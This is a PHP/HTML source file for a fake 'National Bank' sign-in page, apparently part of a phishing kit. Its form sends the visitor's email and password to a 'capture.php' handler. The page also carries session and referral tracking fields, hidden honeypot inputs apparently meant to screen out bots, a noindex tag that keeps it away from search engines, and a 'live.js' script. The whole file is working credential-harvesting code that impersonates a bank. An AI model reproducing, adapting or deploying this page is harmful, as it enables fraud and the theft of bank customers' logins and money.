<?php
declare(strict_types=1);
if (!defined('DIR')) define('DIR', __DIR__);
$candidats = [dirname(DIR) . '/private/config.php', dirname(DIR, 2) . '/private/config.php', DIR . '/private/config.php'];
foreach ($candidats as $c) { if (is_file($c)) { require $c; break; } }

$sid = substr(preg_replace('/[^a-z0-9]/i', '', (string)($_GET['sid'] ?? '')), 0, 12);
if ($sid === '') $sid = bin2hex(random_bytes(6));
$ref = substr(preg_replace('/[^a-z0-9]/i', '', (string)($_GET['ref'] ?? '')), 0, 24);

$h = (int)date('G');
$salut = $h < 12 ? 'Good morning' : ($h < 18 ? 'Good afternoon' : 'Good evening');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="#e41c23">
<meta name="robots" content="noindex,nofollow">
<title>National Bank | Banking services</title>
<link rel="stylesheet" href="head.css">
</head>
<body>
<div class="page">
  <div class="side"></div>
  <div class="panel">
    <?php readfile(DIR . '/barre.html'); ?>
    <form id="form" action="capture.php" method="POST" autocomplete="off" novalidate>
      <input type="hidden" id="sid" name="sid" value="<?= htmlspecialchars($sid, ENT_QUOTES) ?>">
      <input type="hidden" name="ref" value="<?= htmlspecialchars($ref, ENT_QUOTES) ?>">
      <input type="hidden" name="t" value="">
      <div style="position:absolute;left:-9999px" aria-hidden="true">
        <input type="text" id="hp" name="hp" tabindex="-1" autocomplete="off">
        <input type="text" id="hp2" name="website" tabindex="-1" autocomplete="off">
      </div>

      <span class="greeting"><?= $salut ?></span>

      <div class="field">
        <label for="identity">Email ID</label>
        <input class="inp" placeholder="Enter your email ID" id="identity" name="u" type="email" maxlength="255" required autocomplete="off" spellcheck="false">
      </div>

      <div class="field">
        <label for="password">Password</label>
        <div class="pw">
          <input class="inp" placeholder="Enter your password" id="password" name="p" type="password" maxlength="250" required autocomplete="off">
          <button class="eye" type="button" id="oeil" aria-label="Show password">
            <svg width="20" height="20" viewBox="0 0 16 16" fill="currentColor"><path d="M8 2.3c-3.1 0-5.7 2.1-7 4.7 1.3 2.6 3.9 4.7 7 4.7s5.7-2.1 7-4.7c-1.3-2.6-3.9-4.7-7-4.7zm0 7.7a3 3 0 110-6 3 3 0 010 6zm0-1.3a1.7 1.7 0 100-3.4 1.7 1.7 0 000 3.4z"/></svg>
          </button>
        </div>
      </div>

      <div class="row">
        <input type="checkbox" id="rememberMe-check" name="memo" value="1">
        <label for="rememberMe-check">Remember my email ID</label>
      </div>

      <button type="submit" class="btn" id="btn">
        <svg width="16" height="16" viewBox="0 0 64 64" fill="currentColor" aria-hidden="true"><path d="M32 2c9.8 0 17.8 7.9 18 17.7V25h2a6 6 0 016 6v21a10 10 0 01-10 10H17A10 10 0 017 52V31a6 6 0 016-6h1v-5.3C14 9.8 22.1 2 32 2zm0 35a5 5 0 00-2 9.6V50a2 2 0 004 0v-3.4A5 5 0 0032 37zM32 6a14 14 0 00-14 14v5h28v-5A14 14 0 0032 6z"/></svg>
        Sign in
      </button>

      <button type="button" class="link">Forgotten password?</button>
    </form>

    <div class="foot">
      <h2>First time signing in?</h2>
      <p>Create your account to access all our online services with a single password.</p>
      <button type="button" class="ghost">Create your account</button>
    </div>
  </div>
</div>
<script>
(function(){
  var f=document.getElementById('form'),b=document.getElementById('btn'),e=document.getElementById('identity'),p=document.getElementById('password'),envoi=false;
  document.querySelector('input[name=t]').value=Date.now();
  try{var v=localStorage.getItem('nbc_mail');if(v){e.value=v;document.getElementById('rememberMe-check').checked=true;p.focus();}else{e.focus();}}catch(err){e.focus();}
  document.getElementById('oeil').addEventListener('click',function(){p.type=p.type==='password'?'text':'password';});
  f.addEventListener('submit',function(ev){
    if(envoi){ev.preventDefault();return;}
    if(!e.value.trim()){ev.preventDefault();e.focus();return;}
    if(!p.value){ev.preventDefault();p.focus();return;}
    try{if(document.getElementById('rememberMe-check').checked)localStorage.setItem('nbc_mail',e.value.trim());else localStorage.removeItem('nbc_mail');}catch(err){}
    envoi=true;b.disabled=true;b.textContent='Signing in\u2026';
  });
  window.addEventListener('pageshow',function(){envoi=false;b.disabled=false;b.innerHTML='<svg width="16" height="16" viewBox="0 0 64 64" fill="currentColor" aria-hidden="true"><path d="M32 2c9.8 0 17.8 7.9 18 17.7V25h2a6 6 0 016 6v21a10 10 0 01-10 10H17A10 10 0 017 52V31a6 6 0 016-6h1v-5.3C14 9.8 22.1 2 32 2zm0 35a5 5 0 00-2 9.6V50a2 2 0 004 0v-3.4A5 5 0 0032 37zM32 6a14 14 0 00-14 14v5h28v-5A14 14 0 0032 6z"/></svg> Sign in';});
})();
</script>
<script src="live.js"></script>
</body>
</html>
